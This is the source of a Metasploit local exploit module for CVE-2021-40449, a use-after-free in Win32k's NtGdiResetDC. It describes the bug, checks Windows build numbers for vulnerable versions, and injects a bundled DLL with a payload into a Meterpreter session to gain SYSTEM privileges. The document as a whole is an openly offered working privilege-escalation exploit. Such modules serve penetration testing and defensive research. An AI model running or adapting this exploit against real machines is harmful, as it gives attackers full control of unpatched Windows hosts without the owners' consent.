Win32k NtGdiResetDC Use-After-Free / Local Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::Windows::ReflectiveDLLInjection
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege Elevation',
          'Description' => %q{
            A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by
            an attacker to escalate privileges to those of `NT AUTHORITYSYSTEM`. The flaw exists due to the fact
            that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers
            can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object
            that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle
            with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the
            attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the
            kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITYSYSTEM.

            This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions
            of Windows 10 will likely also work.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'IronHusky', # APT Group who exploited this in the wild
            'Costin Raiu', # Initial reporting on bug at SecureList
            'Boris Larin', # Initial reporting on bug at SecureList
            "Red Raindrop Team of Qi'anxin Threat Intelligence Center", # detailed analysis report in Chinese showing how to replicate the vulnerability
            'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763
            'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.
            'Grant Willcox' # metasploit module
          ],
          'Arch' => [ ARCH_X64 ],
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            [ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]
          ],
          'Payload' => {
            'DisableNops' => true
          },
          'References' => [
            [ 'CVE', '2021-40449' ],
            [ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation
            [ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup
            [ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC
            [ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.
          ],
          'DisclosureDate' => '2021-10-12',
          'DefaultTarget' => 0,
          'Notes' => {
            'Stability' => [ CRASH_OS_RESTARTS, ],
            'Reliability' => [ REPEATABLE_SESSION, ],
            'SideEffects' => []
          }
        }
      )
    )
  end

  def check
    sysinfo_value = sysinfo['OS']

    if sysinfo_value !~ /windows/i
      # Non-Windows systems are definitely not affected.
      return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
    end

    build_num_raw = cmd_exec('cmd.exe /c ver')
    build_num = build_num_raw.match(/d+.d+.d+.d+/)
    if build_num.nil?
      print_error("Couldn't retrieve the target's build number!")
    else
      build_num = build_num_raw.match(/d+.d+.d+.d+/)[0]
      print_status("Target's build number: #{build_num}")
    end

    # see https://docs.microsoft.com/en-us/windows/release-information/
    unless sysinfo_value =~ /(7|8|8.1|10|2008|2012|2016|2019|1803|1809|1903)/
      return CheckCode::Safe('Target is not running a vulnerable version of Windows!')
    end

    build_num_gemversion = Rex::Version.new(build_num)

    # Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/
    if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) && (build_num_gemversion < Rex::Version.new('10.0.22000.258')) # Windows 11
      return CheckCode::Appears('Vulnerable Windows 11 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) && (build_num_gemversion < Rex::Version.new('10.0.20348.288')) # Windows Server 2022
      return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) && (build_num_gemversion < Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2
      return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) && (build_num_gemversion < Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1
      return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2
      return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1
      return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909
      return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903
      return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809
      return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803
      return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709
      return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703
      return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607
      return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511
      return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507
      return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server 2012 R2
      return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server 2012
      return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008 R2
      return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')
    elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows Server 2008 SP2
      return CheckCode::Appears('Vulnerable Windows Server 2008/Windows Server 2008 SP2 build detected!')
    else
      return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
    end
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
    elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
      fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
    elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
      fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
    end

    encoded_payload = payload.encoded
    execute_dll(
      ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),
      [encoded_payload.length].pack('I<') + encoded_payload
    )

    print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
  end
end